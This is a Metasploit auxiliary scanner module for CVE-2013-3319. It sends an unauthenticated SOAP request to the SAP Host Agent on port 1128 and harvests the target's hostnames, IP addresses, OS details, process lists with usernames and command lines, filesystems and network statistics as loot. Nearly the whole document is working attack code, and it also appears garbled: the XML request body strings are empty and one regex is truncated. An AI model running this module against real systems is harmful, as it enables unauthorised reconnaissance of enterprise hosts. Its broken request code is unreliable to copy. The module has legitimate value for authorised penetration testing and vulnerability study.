## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'rexml/document' class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report include Msf::Auxiliary::Scanner def initialize super( 'Name' => 'SAP Host Agent Information Disclosure', 'Description' => %q{ This module attempts to retrieve Computer and OS info from Host Agent through the SAP HostControl service. }, 'References' => [ # General ['CVE', '2013-3319'], ['OSVDB', '95616'], ['BID', '61402'], ['URL', 'https://service.sap.com/sap/support/notes/1816536'], ['URL', 'http://labs.integrity.pt/advisories/cve-2013-3319/'] ], 'Author' => [ 'Bruno Morisson ' # Discovery and msf module ], 'License' => MSF_LICENSE ) register_options( [ Opt::RPORT(1128) ]) register_autofilter_ports([1128]) end def initialize_tables @computer_table = Msf::Ui::Console::Table.new( Msf::Ui::Console::Table::Style::Default, 'Header' => "Remote Computer Listing", 'Prefix' => "\n", 'Postfix' => "\n", 'Indent' => 1, 'Columns' => [ "Names", "Hostnames", "IPAddresses" ]) @os_table = Msf::Ui::Console::Table.new( Msf::Ui::Console::Table::Style::Default, 'Header' => "Remote OS Listing", 'Prefix' => "\n", 'Postfix' => "\n", 'Indent' => 1, 'Columns' => [ "Name", "Type", "Version", "TotalMemSize", "Load Avg 1m", "Load Avg 5m", "Load Avg 15m", "CPUs", "CPU User", "CPU Sys", "CPU Idle" ]) @net_table = Msf::Ui::Console::Table.new( Msf::Ui::Console::Table::Style::Default, 'Header' => "Network Port Listing", 'Prefix' => "\n", 'Postfix' => "\n", 'Indent' => 1, 'Columns' => [ "ID", "PacketsIn", "PacketsOut", "ErrorsIn", "ErrorsOut", "Collisions" ]) @process_table = Msf::Ui::Console::Table.new( Msf::Ui::Console::Table::Style::Default, 'Header' => "Remote Process Listing", 'Prefix' => "\n", 'Postfix' => "\n", 'Indent' => 1, 'Columns' => [ "Name", "PID", "Username", "Priority", "Size", "Pages", "CPU", "CPU Time", "Command" ]) @fs_table = Msf::Ui::Console::Table.new( Msf::Ui::Console::Table::Style::Default, 'Header' => "Remote Filesystem Listing", 'Prefix' => "\n", 'Postfix' => "\n", 'Indent' => 1, 'Columns' => [ "Name", "Size", "Available", "Remote" ]) @net_table = Msf::Ui::Console::Table.new( Msf::Ui::Console::Table::Style::Default, 'Header' => "Network Port Listing", 'Prefix' => "\n", 'Postfix' => "\n", 'Indent' => 1, 'Columns' => [ "ID", "PacketsIn", "PacketsOut", "ErrorsIn", "ErrorsOut", "Collisions" ]) end # Parses an array of mProperties elements. For every mProperties element, # if there is an item with mValue ITSAMComputerSystem, then collect the # values for the items with mName in (Name, Hostnames, IPAdresses) def parse_computer_info(data) success = false data.each do |properties| name, hostnames, addresses = "" if properties.get_elements("item//mValue[text()=\"ITSAMComputerSystem\"]").empty? next end item_list = properties.get_elements("item") item_list.each do |item| item_name = item.get_elements("mName").first.text item_value = item.get_elements("mValue").first.text case item_name when "Name" name = item_value when "Hostnames" hostnames = item_value when "IPAdresses" addresses = item_value end end @computer_table << [name, hostnames, addresses] success = true end return success end # Get the mValues of every item def parse_values(data, ignore) values = [] item_list = data.get_elements("item") item_list.each do |item| value_item = item.get_elements("mValue") if value_item.empty? value = "" else value = value_item.first.text end if value == ignore next end values << value end return values end # Parses an array of mProperties elements and get the interesting info # including ITSAMOperatingSystem, ITSAMOSProcess, ITSAMFileSystem and # ITSAMNetworkPort properties. def parse_detailed_info(data) data.each do |properties| if not properties.get_elements("item//mValue[text()=\"ITSAMOperatingSystem\"]").empty? values = parse_values(properties, "ITSAMOperatingSystem") parse_os_info(values) end if not properties.get_elements("item//mValue[text()=\"ITSAMOSProcess\"]").empty? values = parse_values(properties, "ITSAMOSProcess") parse_process_info(values) end if not properties.get_elements("item//mValue[text()=\"ITSAMFileSystem\"]").empty? values = parse_values(properties, "ITSAMFileSystem") parse_fs_info(values) end if not properties.get_elements("item//mValue[text()=\"ITSAMNetworkPort\"]").empty? values = parse_values(properties, "ITSAMNetworkPort") parse_net_info(values) end end end def parse_os_info(os_info) @os_table << [ os_info[0], # OS name os_info[1], # OS type os_info[2], # OS Version os_info[7], # Total Memory os_info[11], # Load Average (1m) os_info[12], # Load Average (5m) os_info[13], # Load Average (15m) os_info[17], # Number of CPUs / Cores os_info[18]+'%', # CPU usage (User) os_info[19]+'%', # CPU usage (system) os_info[20]+'%' # CPU idle ] end def parse_process_info(process_info) @process_table << [ process_info[0], # Process name process_info[1], # PID process_info[2], # Username process_info[3], # Priority process_info[4], # Mem size process_info[5], # pages process_info[6]+'%', # CPU usage process_info[7], # CPU time process_info[8] # Command ] end def parse_fs_info(fs_info) @fs_table << [ fs_info[0], # Filesystem Name fs_info[2], # Size fs_info[3], # Space Available fs_info[6] # Is the filesystem remote ? ] end def parse_net_info(net_info) @net_table << [ net_info[0], # Network Device ID net_info[1], # Packets In net_info[2], # Packets Out net_info[3], # Errors In net_info[4], # Errors Out net_info[5] # Collisions ] end def run_host(rhost) vprint_status("#{rhost}:#{rport} - Connecting to SAP Host Control service") data = '' data << '' data << '' data << 'true' data << '' data << 'providersaposcol' data << "\r\n\r\n" begin res = send_request_raw( { 'uri' => "/", 'method' => 'POST', 'data' => data, 'headers' => { 'Content-Type' => 'text/xml; charset=UTF-8', } }) rescue ::Rex::ConnectionError vprint_error("#{rhost}:#{rport} - Unable to connect to service") return end if res and res.code == 500 and res.body =~ /(.*)<\/faultstring>/i faultcode = $1.strip vprint_error("#{rhost}:#{rport} - Error code: #{faultcode}") return elsif res and res.code != 200 vprint_error("#{rhost}:#{rport} - Error in response") return end initialize_tables() vprint_good("#{rhost}:#{rport} - Connected. Retrieving info") begin response_xml = REXML::Document.new(res.body) computer_info = response_xml.elements.to_a("//mProperties/") # Computer info detailed_info = response_xml.elements.to_a("//item/mProperties/") # all other info rescue print_error("#{rhost}:#{rport} - Unable to parse XML response") return end success = parse_computer_info(computer_info) if success print_good("#{rhost}:#{rport} - Information retrieved successfully") else print_error("#{rhost}:#{rport} - Unable to parse reply") return end # assume that if we can parse the first part, it is a valid SAP XML response parse_detailed_info(detailed_info) sap_tables_clean = '' [@os_table, @computer_table, @process_table, @fs_table, @net_table].each do |t| sap_tables_clean << t.to_s end vprint_good("#{rhost}:#{rport} - Information retrieved:\n"+sap_tables_clean) xml_raw = store_loot( "sap.getcomputersystem", "text/xml", rhost, res.body, "sap_getcomputersystem.xml", "SAP GetComputerSystem XML" ) xml_parsed = store_loot( "sap.getcomputersystem", "text/plain", rhost, sap_tables_clean, "sap_getcomputersystem.txt", "SAP GetComputerSystem XML" ) print_status("#{rhost}:#{rport} - Response stored in #{xml_raw} (XML) and #{xml_parsed} (TXT)") end end